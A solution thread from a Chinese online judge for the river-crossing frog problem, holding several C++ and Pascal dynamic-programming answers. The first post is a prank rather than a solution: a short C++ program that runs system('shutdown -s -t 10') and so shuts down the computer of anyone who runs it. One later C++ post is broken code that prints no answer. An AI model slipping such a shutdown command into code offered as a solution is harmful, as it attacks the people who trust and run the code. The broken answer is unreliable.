333 条题解
-
-1
1104400741 LV 5 @ 7 年前
#include<iostream>
#include<cstdlib>
int main()
{
system("pause");
system("color F4");
system("cls");
system("shutdown -s -t 10");
} -
-17 年前@
#include<bits/stdc++.h>
using namespace std;
#define xyf main
#define maxn 100000int a[maxn],sz[maxn],l,s,t,m;
int dp[maxn];
int xyf()
{
memset(dp,127,sizeof(dp));
cin>>l>>s>>t>>m;
for(int i=1;i<=m;++i)
cin>>a[i];
if(s==t)
{
int ans=0;
for(int i=1;i<=m;++i)
if(a[i]%s==0)
ans++;
cout<<ans;
return 0;
}
sort(a,a+m+1);
a[m+1]=l;
for(int i=0;i<=m;++i)
if(a[i+1]-a[i]>90)
a[i+1]=a[i]+(a[i+1]-a[i])%90;
for(int i=1;i<=m;++i)
sz[a[i]]=1;
for(int i=s;i<=t;++i)
{
if(sz[i])
dp[i]=1;
else
dp[i]=0;
}
for(int i=2*s;i<=a[m+1];i++)
{
for(int j=s;j<=t;++j)
{
if(j>i)
break;
dp[i]=min(dp[i],dp[i-j]);
}
if(sz[i])
dp[i]++;
}
cout<<dp[a[m+1]]<<endl;
} -
-17 年前@
-
-18 年前@
动态压缩;k=72;就行
-
-18 年前@
-
-18 年前@
program river;
const max=105;
var a,a1:array[0..101] of longint;
b:array[0..100] of boolean;
c,d:array[0..10000] of longint;
l,s,t,m,ans,low,i,j,k,temp:longint;
flag:boolean;
f:text;
procedure init;
begin
assign(f, 'river9.in ');reset(f);
readln(f,l);
readln(f,s,t,m);
for i:=1 to m do read(f,a[i]);
a[0]:=0;a[m+1]:=l;
for i:=1 to m-1 do
for j:=i+1 to m do
if a[i]>a[j] then
begin
temp:=a[i];a[i]:=a[j];a[j]:=temp;
end;
close(f);
end;
procedure work1;
begin
for i:=1 to m do
if a[i] mod s=0 then inc(ans);
end;
procedure work2;
begin
fillchar(b,sizeof(b),false);
b[0]:=true;
for i:=s to t do
begin
for j:=0 to 100 do
if b[j] then
begin
k:=1;
while k*i+j<=100 do
begin
b[k*i+j]:=true;
inc(k);
end;
end;
end;
for i:=1 to 100 do
begin
flag:=true;
for j:=0 to t-1 do
if not b[i+j] then begin flag:=false;break;end;
if flag then
begin
low:=i;
break;
end;
end;
if low<t then low:=t;
for i:=1 to m+1 do
begin
a1[i]:=(a[i]-a[i-1]-low) mod low+a1[i-1]+low;
end;
a:=a1;
for i:=1 to m do d[a[i]]:=1;
l:=a[m+1];
for i:=1 to l+t-1 do c[i]:=max;
for i:=1 to l+t-1 do
for j:=s to t do
if (i-j>=0) and (c[i]>c[i-j]+d[i]) then
c[i]:=c[i-j]+d[i];
ans:=max;
for i:=l to l+t-1 do
if ans>c[i] then ans:=c[i];
end;
begin
init;
if s=t then work1
else work2;
assign(f, 'river.out ');rewrite(f);
writeln(f,ans);
close(f);
end. -
-18 年前@
#include<bits/stdc++.h>
using namespace std;
int l,s,t,m,ans;
int a[1100];
int f[11000];
bool stone[11000];int main()
{
memset(stone,0,sizeof(stone)) ;
cin>>l>>s>>t>>m;
ans=0;
a[0]=0; a[m+1]=l;
for (int i=1;i<=m;i++) cin>>a[i];
sort(a+1,a+m+1);
if (s==t) {
for (int i=1;i<=m;i++)
if (a[i]%s==0)
ans++;
cout<<ans<<endl;
}
else {
int d=0,k=s*t,x;
for (int i=1;i<=m+1;i++)
{
x=a[i]-d-a[i-1];
if (x>k) d+=x-k;
a[i]=a[i]-d;
stone[a[i]]=1;
}
stone[a[m+1]]=0;
f[0]=0;
for (int i=1;i<a[m+1]+t;i++)
{
f[i]=10000;
for (int j=s;j<=t;j++)
if (i>=j) f[i]=min(f[i],f[i-j]);
f[i]+=stone[i];
}
ans=10000;
for (int i=a[m+1];i<a[m+1]+t;i++)
ans=min(ans,f[i]);
cout<<ans<<endl;
}
return 0;
} -
-18 年前@
c++ AC
```c++
#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<algorithm>
using namespace std;
int f[11000];
int a[105];
int st[11000];
int l,s,t,m;
int ans;
int main()
{cin>>l>>s>>t>>m;
for(int i=1;i<=m;i++)
cin>>a[i];
ans=0;
a[m+1]=l;
a[0]=0;
sort(a+1,a+m+1);
if(s==t)
{
for(int i=1;i<=m;i++)
{
if(a[i]%s==0)
ans++;
}
}
else
{
int k=s*t;
int x,d(0); //累加平移量;
for(int i=1;i<=m+1;i++)
{
x=a[i]-d-a[i-1];
if(x>k)d+=x-k; //相当于线段树,整体操作数据
a[i]=a[i]-d;
st[a[i]]=1;
}
st[a[m+1]]=0;
f[0]=0;
for(int i=1;i<=a[m+1]+t-1;i++)
{
f[i]=105;
for(int j=s;j<=t;j++)
if(i>=j)f[i]=min(f[i],f[i-j]);
f[i]+=st[i];
}
ans=105;
for(int i=a[m+1];i<=a[m+1]+t-1;i++)
ans=min(ans,f[i]);
}
cout<<ans<<endl;
return 0;
}
``` -
-18 年前@
-
-18 年前@
pascal完美题解
pascal
var
l,kk,s,t,m,i,j,temp,max:longint;
a:array[0..1000]of longint;
b,f:array[0..1000000]of longint;
begin
readln(l);
readln(s,t,m);
for i:=1 to m do read(a[i]);
readln;
kk:=0;
if s=t then
begin
for i:=1 to m do
if a[i] mod s=0
then
inc(kk);
writeln(kk);
halt;
end;
for i:=1 to m-1 do
for j:=i+1 to m do
if a[i]>a[j]
then
begin
temp:=a[i];
a[i]:=a[j];
a[j]:=temp;
end;
for i:=1 to m do
if a[i]-a[i-1]>100
then
begin
kk:=a[i]-a[i-1]-100;
for j:=i to m do a[j]:=a[j]-kk;
end;
fillchar(b,sizeof(b),0);
for i:=1 to m do
b[a[i]]:=1;
l:=a[m];
for i:=1 to l+t do f[i]:=100;
f[0]:=0;
for i:= s to l+t do
for j:= s to t do
if (i-j>=0) and (f[i-j]+b[i]<f[i])
then
f[i]:=f[i-j]+b[i];
max:=100;
for i:= l to l+t do
if f[i]<max
then
max:=f[i];
writeln(max);
readln;
end.
对的话在回复里举个爪子 -
-18 年前@
····
-
-19 年前@
#include<iostream>
#include<cstdio>
#include<cstring>
#include<algorithm>
using namespace std;
int a[10000],f[10000],s,t,l,m,pp=1;
int main()
{
cin>>l>>s>>t>>m;
for(int i=1;i<=m;i++)
{
cin>>a[i];
}
a[0]=0;
f[0]=0;
memset(f,9*f/3,sizeof(f));
stable_sort(a+1,a+m+1);
for(int i=0;i>=m;i++)
{
while(a[pp]>=a[i]+s&&a[pp]<=a[i]+t)
{
f[pp]=min(f[pp],f[i]+1);
pp++;
}
}
} -
-37 年前@
石头并非按照位置升序输入,需要sort,对于s==t的情况需要特判
本题要点是压缩长度,把两个石头之间的长度压缩,大于100的,压缩到100以内(因为tmax²=100,所以我直接用的100,其使用t*t也可以。原理只可意会,我不会证明)
我预处理了从0跳到s~t的dp值,所以末尾不需要再从dp[l]~dp[l+t]中选取最优解。